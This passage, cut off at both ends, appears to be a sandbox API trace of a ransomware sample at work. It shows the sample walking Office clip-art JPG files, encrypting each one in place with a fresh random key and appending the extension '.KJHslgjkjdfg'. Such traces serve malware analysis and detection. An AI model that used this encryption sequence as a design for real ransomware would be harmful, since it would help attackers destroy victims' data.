lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.308] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.309] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.309] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.309] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c6a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c6a, lpOverlapped=0x0) returned 1 [0194.310] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c70, dwBufLen=0x7c70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c70) returned 1 [0194.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.310] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c70, lpOverlapped=0x0) returned 1 [0194.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.311] SetEndOfFile (hFile=0x130) returned 1 [0194.313] GetProcessHeap () returned 0x990000 [0194.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.313] GetProcessHeap () returned 0x990000 [0194.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.kjhslgjkjdfg")) returned 1 [0194.314] CloseHandle (hObject=0x130) returned 1 [0194.315] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0194.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.315] GetProcessHeap () returned 0x990000 [0194.315] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.315] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.315] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.318] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.318] GetProcessHeap () returned 0x990000 [0194.318] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.318] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.318] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.318] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.318] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.318] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.318] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.319] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8fd4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8fd4, lpOverlapped=0x0) returned 1 [0194.320] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8fe0, dwBufLen=0x8fe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8fe0) returned 1 [0194.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.320] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8fe0, lpOverlapped=0x0) returned 1 [0194.320] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x90b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.320] SetEndOfFile (hFile=0x130) returned 1 [0194.323] GetProcessHeap () returned 0x990000 [0194.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.323] GetProcessHeap () returned 0x990000 [0194.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.kjhslgjkjdfg")) returned 1 [0194.324] CloseHandle (hObject=0x130) returned 1 [0194.324] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0194.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.325] GetProcessHeap () returned 0x990000 [0194.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.325] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.325] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.327] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.327] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.327] GetProcessHeap () returned 0x990000 [0194.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.327] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.327] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.327] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.327] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.327] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.327] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.327] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.327] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.327] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.327] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8fb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8fb8, lpOverlapped=0x0) returned 1 [0194.329] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8fc0, dwBufLen=0x8fc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8fc0) returned 1 [0194.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.329] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8fc0, lpOverlapped=0x0) returned 1 [0194.329] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.329] SetEndOfFile (hFile=0x130) returned 1 [0194.331] GetProcessHeap () returned 0x990000 [0194.331] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.331] GetProcessHeap () returned 0x990000 [0194.331] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.kjhslgjkjdfg")) returned 1 [0194.332] CloseHandle (hObject=0x130) returned 1 [0194.332] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0194.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.333] GetProcessHeap () returned 0x990000 [0194.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.333] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.333] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0194.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.335] GetProcessHeap () returned 0x990000 [0194.335] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.335] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.335] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.335] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.335] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.335] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.335] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8a5b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8a5b, lpOverlapped=0x0) returned 1 [0194.336] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a60, dwBufLen=0x8a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a60) returned 1 [0194.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.337] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8a60, lpOverlapped=0x0) returned 1 [0194.337] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.337] SetEndOfFile (hFile=0x130) returned 1 [0194.339] GetProcessHeap () returned 0x990000 [0194.339] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.339] GetProcessHeap () returned 0x990000 [0194.339] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.kjhslgjkjdfg")) returned 1 [0194.340] CloseHandle (hObject=0x130) returned 1 [0194.340] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0194.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.340] GetProcessHeap () returned 0x990000 [0194.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0194.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.342] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.342] GetProcessHeap () returned 0x990000 [0194.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.343] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.343] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.343] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.343] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.343] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.343] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.343] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.343] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.343] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x84a6, 